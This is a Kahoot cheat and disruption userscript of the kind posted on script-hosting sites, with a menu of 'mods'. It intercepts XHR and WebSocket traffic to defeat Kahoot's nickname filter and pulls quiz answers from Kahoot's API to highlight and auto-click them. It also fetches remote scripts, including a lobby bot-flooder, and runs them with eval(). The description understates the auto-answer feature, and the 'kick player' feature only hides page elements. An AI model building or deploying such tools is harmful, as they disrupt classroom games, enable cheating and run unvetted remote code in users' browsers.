1Kahoot Custom Mods - ViolentMonkey Compatible Ultra super

Auto answer doesn't really answer the questions it highlights the answer green and sometimes this only works in classic mode,also only bot flooder and Auto answer work currently more coming soon!

  1. // ==UserScript==
  2. // @name 1Kahoot Custom Mods - ViolentMonkey Compatible Ultra super
  3. // @namespace http://tampermonkey.net/
  4. // @version 1.31
  5. // @description Auto answer doesn't really answer the questions it highlights the answer green and sometimes this only works in classic mode,also only bot flooder and Auto answer work currently more coming soon!
  6. // @author Thatoneguy54321
  7. // @match https://kahoot.it/*
  8. // @match https://play.kahoot.it/v2*
  9. // @grant GM_xmlhttpRequest
  10. // @run-at document-idle
  11. // @license MIT
  12. // ==/UserScript==
  13. (function() {
  14. 'use strict';
  15. // Main menu HTML creation with cartoony rainbow background and emojis
  16. const menuHTML = `
  17. <div id="menu" style="position: fixed; top: 20px; left: 20px; padding: 15px; color: white; font-family: 'Comic Sans MS', cursive, sans-serif; z-index: 9999; border-radius: 10px; box-shadow: 0px 5px 10px rgba(0,0,0,0.5); background: linear-gradient(45deg, #ff0000, #ff7f00, #ffff00, #00ff00, #0000ff, #4b0082, #9400d3); animation: rainbow-background 5s infinite linear;">
  18. <h3 style="color: #FF6347; font-size: 20px;">Ownership of Thatoneguy54321 🎮</h3>
  19. <p style="font-size: 16px;">Staff: 🤝</p>
  20. <p style="font-size: 14px; font-style: italic;">Beta Testers: Colton 🧪</p>
  21. <input type="text" id="accessCode" placeholder="Enter Code 🔑" style="width: 100%; padding: 5px; margin-bottom: 10px; border-radius: 5px;" />
  22. <button id="submitCode" style="width: 100%; padding: 10px; background-color: #FF4500; border: none; border-radius: 5px; color: white; font-size: 16px; cursor: pointer;">Submit Code 💥</button>
  23. </div>
  24. <div id="custom-menu" style="display: none; position: fixed; top: 100px; left: 20px; padding: 15px; color: white; font-family: 'Comic Sans MS', cursive, sans-serif; z-index: 9999; border-radius: 10px; box-shadow: 0px 5px 10px rgba(0,0,0,0.5); background: linear-gradient(45deg, #ff0000, #ff7f00, #ffff00, #00ff00, #0000ff, #4b0082, #9400d3); animation: rainbow-background 5s infinite linear;">
  25. <h3 style="color: #FF6347; font-size: 20px;">Kahoot Mods 🎉</h3>
  26. <button id="auto-answer" style="width: 100%; margin-bottom: 10px; padding: 10px; background-color: #32CD32; border: none; border-radius: 5px; font-size: 16px; cursor: pointer;">Auto Answer ✅</button>
  27. <button id="rainbow-bg" style="width: 100%; margin-bottom: 10px; padding: 10px; background-color: #FFD700; border: none; border-radius: 5px; font-size: 16px; cursor: pointer;">Rainbow Background 🌈</button>
  28. <button id="crash-gun" style="width: 100%; margin-bottom: 10px; padding: 10px; background-color: #DC143C; border: none; border-radius: 5px; font-size: 16px; cursor: pointer;">Crash Gun 💥</button>
  29. <button id="flood-lobby" style="width: 100%; margin-bottom: 10px; padding: 10px; background-color: #8A2BE2; border: none; border-radius: 5px; font-size: 16px; cursor: pointer;">Flood Lobby 🌊</button>
  30. <button id="name-glitcher" style="width: 100%; margin-bottom: 10px; padding: 10px; background-color: #00CED1; border: none; border-radius: 5px; font-size: 16px; cursor: pointer;">Name Glitcher ✨</button>
  31. <button id="scoreboard-skip" style="width: 100%; margin-bottom: 10px; padding: 10px; background-color: #FF69B4; border: none; border-radius: 5px; font-size: 16px; cursor: pointer;">Skip Scoreboard 🚀</button>
  32. <button id="kick-player" style="width: 100%; margin-top: 10px; padding: 10px; background-color: #FF1493; border: none; border-radius: 5px; font-size: 16px; cursor: pointer;">Kick Player (Beta) ⚡</button>
  33. </div>
  34. `;
  35. // Add menu HTML to the document
  36. document.body.insertAdjacentHTML('beforeend', menuHTML);
  37. // CSS for rainbow flowing effect
  38. const style = document.createElement('style');
  39. style.textContent = `
  40. @keyframes rainbow-background {
  41. 0% { background: linear-gradient(45deg, #ff0000, #ff7f00, #ffff00, #00ff00, #0000ff, #4b0082, #9400d3); }
  42. 25% { background: linear-gradient(45deg, #ffff00, #ff7f00, #ff0000, #00ff00, #0000ff, #4b0082, #9400d3); }
  43. 50% { background: linear-gradient(45deg, #00ff00, #ff0000, #ff7f00, #ffff00, #0000ff, #4b0082, #9400d3); }
  44. 75% { background: linear-gradient(45deg, #0000ff, #00ff00, #ff0000, #ff7f00, #ffff00, #4b0082, #9400d3); }
  45. 100% { background: linear-gradient(45deg, #4b0082, #0000ff, #00ff00, #ff0000, #ff7f00, #ffff00, #9400d3); }
  46. }
  47. `;
  48. document.head.appendChild(style);
  49. // Submit code to display custom menu
  50. document.getElementById('submitCode').addEventListener('click', function() {
  51. const code = document.getElementById('accessCode').value.trim();
  52. if (code === '9854') {
  53. document.getElementById('custom-menu').style.display = 'block';
  54. } else {
  55. alert('Invalid code. ❌');
  56. }
  57. });
  58. // Toggle visibility of both menus when pressing 'Z'
  59. document.addEventListener('keydown', function(event) {
  60. if (event.key.toLowerCase() === 'z') {
  61. const menu = document.getElementById('menu');
  62. const customMenu = document.getElementById('custom-menu');
  63. const isMenuVisible = menu.style.display === 'block' || menu.style.display === '';
  64. const isCustomMenuVisible = customMenu.style.display === 'block' || customMenu.style.display === '';
  65. if (isMenuVisible || isCustomMenuVisible) {
  66. // If either menu is visible, hide both
  67. menu.style.display = 'none';
  68. customMenu.style.display = 'none';
  69. } else {
  70. // If both menus are hidden, show them
  71. menu.style.display = 'block';
  72. customMenu.style.display = 'block';
  73. }
  74. }
  75. });
  76. // Kick Player (Beta) functionality: Identify user by username and Game PIN
  77. const kickPlayer = () => {
  78. const username = prompt('Enter the username of the player to kick:');
  79. const gamePin = prompt('Enter the Game PIN:');
  80. if (!username || !gamePin) {
  81. alert('Username and/or Game PIN missing. ❌');
  82. return;
  83. }
  84. // Find the game iframe and its window
  85. const targetIframe = document.querySelector('iframe');
  86. if (!targetIframe) {
  87. alert('Unable to find the game iframe. ❌');
  88. return;
  89. }
  90. const targetWindow = targetIframe.contentWindow;
  91. // Injecting a function into the iframe to identify and manipulate players
  92. targetWindow.postMessage({ type: 'kickPlayer', username: username, gamePin: gamePin }, '*');
  93. // Provide feedback
  94. alert(`Attempting to kick player ${username}... 💥❄️`);
  95. };
  96. // Listen for the custom message from the iframe (in case we need to perform an action inside the iframe)
  97. window.addEventListener('message', function(event) {
  98. if (event.origin !== 'https://play.kahoot.it') return; // Ensure we’re dealing with the Kahoot iframe
  99. const data = event.data;
  100. if (data.type === 'kickPlayer') {
  101. const username = data.username;
  102. const gamePin = data.gamePin;
  103. // Now we need to identify the player in the game.
  104. const players = document.querySelectorAll('.player'); // Assuming class 'player' holds player data
  105. let foundPlayer = null;
  106. players.forEach(player => {
  107. const playerName = player.querySelector('.player-name').innerText; // Assuming the player's name is in '.player-name'
  108. if (playerName === username) {
  109. foundPlayer = player;
  110. console.log(`Player ${username} found! Kicking out...`);
  111. // Simulate the action to "kick" the player
  112. player.style.display = 'none'; // Hides the player from the UI
  113. // Optionally, disable further actions (simulate a freeze)
  114. player.setAttribute('disabled', 'true');
  115. // Log or alert as necessary
  116. alert(`Player ${username} has been kicked from the game! ❌`);
  117. }
  118. });
  119. if (!foundPlayer) {
  120. alert(`Player with username ${username} not found! ❌`);
  121. }
  122. }
  123. });
  124. // Name Glitcher Functionality (Bypass Name Restrictions)
  125. const nameGlitcher = () => {
  126. let nick = "";
  127. const nativeSend = XMLHttpRequest.prototype.send;
  128. XMLHttpRequest.prototype.send = function() {
  129. const oldCallback = this.onreadystatechange;
  130. this.onreadystatechange = function() {
  131. if (this.readyState === 4) {
  132. try {
  133. const response = JSON.parse(this.responseText);
  134. if (response.namerator === true)
  135. response.namerator = false;
  136. Object.defineProperty(this, "responseText",{
  137. writable: false,
  138. configurable: true,
  139. value: JSON.stringify(response)
  140. });
  141. } catch (e) {
  142. console.error(e);
  143. }
  144. }
  145. if (oldCallback)
  146. return oldCallback.apply(this, arguments);
  147. };
  148. return nativeSend.apply(this, arguments);
  149. };
  150. const nativeWebSocket = window.WebSocket;
  151. window.WebSocket = function() {
  152. const ws = new nativeWebSocket(...arguments);
  153. const nativeSend = ws.send;
  154. ws.send = function() {
  155. const interceptedMessage = JSON.parse(arguments[0]);
  156. if (interceptedMessage[0] && interceptedMessage[0].data) {
  157. if (JSON.parse(interceptedMessage[0].data.content).usingNamerator === false)
  158. interceptedMessage[0].data.content = JSON.stringify({ ...JSON.parse(interceptedMessage[0].data.content), usingNamerator: true });
  159. if (nick && interceptedMessage[0].data.name) {
  160. interceptedMessage[0].data.name = nick;
  161. nick = "";
  162. console.log("Name Glitcher applied the nickname:", interceptedMessage[0].data.name); // Feedback
  163. alert("Name Glitcher applied the nickname successfully!"); // User feedback
  164. }
  165. }
  166. return nativeSend.apply(this, [JSON.stringify(interceptedMessage)]);
  167. };
  168. return ws;
  169. };
  170. const nativePushState = history.pushState;
  171. history.pushState = function() {
  172. const ret = nativePushState.apply(history, arguments);
  173. if (location.href.includes("kahoot.it/join")) {
  174. const observer = new MutationObserver(function() {
  175. if (document.getElementById("nickname")) {
  176. const input = document.createElement("input");
  177. const nickname = document.getElementById("nickname");
  178. const reactProps = Object.keys(nickname).find(v => v.includes("reactProps"));
  179. if (nickname[reactProps] && nickname[reactProps].value) {
  180. nick = nickname[reactProps].value;
  181. input.value = ` glitcher_${Math.floor(Math.random() * 1000)}`;
  182. nickname.value = input.value;
  183. console.log("Attempted to apply the name:", nickname.value); // Feedback
  184. alert("Attempted to apply a glitched nickname: " + nickname.value); // User feedback
  185. }
  186. }
  187. });
  188. observer.observe(document.body, {
  189. childList: true,
  190. subtree: true
  191. });
  192. }
  193. return ret;
  194. };
  195. };
  196. // Auto Answer Function
  197. let autoAnswerActive = false;
  198. let autoAnswerInterval = null;
  199. const toggleAutoAnswer = async () => {
  200. autoAnswerActive = !autoAnswerActive;
  201. if (autoAnswerActive) {
  202. document.getElementById('auto-answer').style.backgroundColor = '#FF0000'; // Indicate active mode
  203. document.getElementById('auto-answer').innerText = 'highlight Answer (ON) ✅';
  204. autoAnswerInterval = setInterval(autoAnswer, 3000); // Run every 3 seconds
  205. } else {
  206. document.getElementById('auto-answer').style.backgroundColor = '#32CD32'; // Reset button color
  207. document.getElementById('auto-answer').innerText = 'highlight Answer (OFF) ❌';
  208. clearInterval(autoAnswerInterval);
  209. }
  210. };
  211. const autoAnswer = async () => {
  212. const selectors = ['answer-0', 'answer-1', 'answer-2', 'answer-3'];
  213. const questionSelector = '.question-title__Title-sc-12qj0yr-1';
  214. let quizData = null;
  215. const fetchQuizData = (query) => {
  216. return new Promise((resolve, reject) => {
  217. const apiUrl = `https://create.kahoot.it/rest/kahoots/?query=${encodeURIComponent(query)}&limit=20`;
  218. GM_xmlhttpRequest({
  219. method: 'GET',
  220. url: apiUrl,
  221. onload: function(response) {
  222. try {
  223. const jsonResponse = JSON.parse(response.responseText);
  224. if (jsonResponse.entities && jsonResponse.entities.length > 0) {
  225. const quizId = jsonResponse.entities[0].card.uuid;
  226. const quizDetailsUrl = `https://create.kahoot.it/rest/kahoots/${quizId}/card/?includeKahoot=true`;
  227. GM_xmlhttpRequest({
  228. method: 'GET',
  229. url: quizDetailsUrl,
  230. onload: function(quizResponse) {
  231. try {
  232. const quizDetails = JSON.parse(quizResponse.responseText);
  233. resolve(quizDetails);
  234. } catch (err) {
  235. console.error('Error parsing quiz details:', err);
  236. reject(err);
  237. }
  238. },
  239. onerror: function(err) {
  240. console.error('Error fetching quiz details:', err);
  241. reject(err);
  242. }
  243. });
  244. } else {
  245. console.warn('No matching quizzes found.');
  246. reject('No quizzes found.');
  247. }
  248. } catch (err) {
  249. console.error('Error parsing search response:', err);
  250. reject(err);
  251. }
  252. },
  253. onerror: function(err) {
  254. console.error('Error making API request:', err);
  255. reject(err);
  256. }
  257. });
  258. });
  259. };
  260. const questionElement = document.querySelector(questionSelector);
  261. const answerElements = selectors
  262. .map(selector => document.querySelector(`[data-functional-selector="${selector}"]`))
  263. .filter(el => el);
  264. if (!questionElement || answerElements.length === 0) {
  265. console.log('No question or answers detected yet.');
  266. return;
  267. }
  268. const question = questionElement.innerText.trim();
  269. const answers = answerElements.map(el => el.innerText.trim());
  270. if (!quizData) {
  271. try {
  272. console.log('Fetching quiz data...');
  273. quizData = await fetchQuizData(question);
  274. console.log('Quiz data loaded:', quizData);
  275. } catch (err) {
  276. console.warn('Failed to load quiz data.');
  277. return;
  278. }
  279. }
  280. const matchedQuestion = quizData.kahoot.questions.find(q => q.question.trim() === question);
  281. if (!matchedQuestion) {
  282. console.warn('No matching question found in quiz data.');
  283. return;
  284. }
  285. const correctChoice = matchedQuestion.choices.find(choice => choice.correct);
  286. if (correctChoice) {
  287. const correctAnswerText = correctChoice.answer.trim();
  288. const correctAnswerElement = answerElements.find(el => el.innerText.trim() === correctAnswerText);
  289. if (correctAnswerElement) {
  290. correctAnswerElement.style.border = '5px solid green';
  291. correctAnswerElement.click(); // Automatically click the correct answer
  292. console.log(`Auto-answered: ${correctAnswerText}`);
  293. } else {
  294. console.warn('Correct answer not found among visible options.');
  295. }
  296. } else {
  297. console.warn('No correct answer found for this question.');
  298. }
  299. };
  300. // Attach toggle function to the button
  301. document.getElementById('auto-answer').addEventListener('click', toggleAutoAnswer);
  302. // Rainbow Background Toggle
  303. const enableRainbowBackground = () => {
  304. document.body.style.background = 'linear-gradient(45deg, #ff0000, #ff7f00, #ffff00, #00ff00, #0000ff, #4b0082, #9400d3)';
  305. };
  306. // Crash Gun functionality (Causing page crash)
  307. const crashGun = () => {
  308. fetch('https://github.com/unixpickle/kahoot-hack/blob/master/kahoot-crash/main.go').then(function(response) {
  309. response.text().then(function(text) {
  310. eval(text);
  311. });
  312. });
  313. };
  314. // Flood Lobby functionality
  315. const floodLobby = () => {
  316. fetch('https://raw.githubusercontent.com/ThatFruedDued/kahoot-smasher/refs/heads/master/min/index.js').then(function(response) {
  317. response.text().then(function(text) {
  318. eval(text);
  319. });
  320. });
  321. };
  322. // Event listeners for buttons
  323. document.getElementById('auto-answer').addEventListener('click', autoAnswer);
  324. document.getElementById('rainbow-bg').addEventListener('click', enableRainbowBackground);
  325. document.getElementById('crash-gun').addEventListener('click', crashGun);
  326. document.getElementById('flood-lobby').addEventListener('click', floodLobby);
  327. document.getElementById('name-glitcher').addEventListener('click', nameGlitcher);
  328. document.getElementById('kick-player').addEventListener('click', kickPlayer);
  329. })();

QingJ © 2025

镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址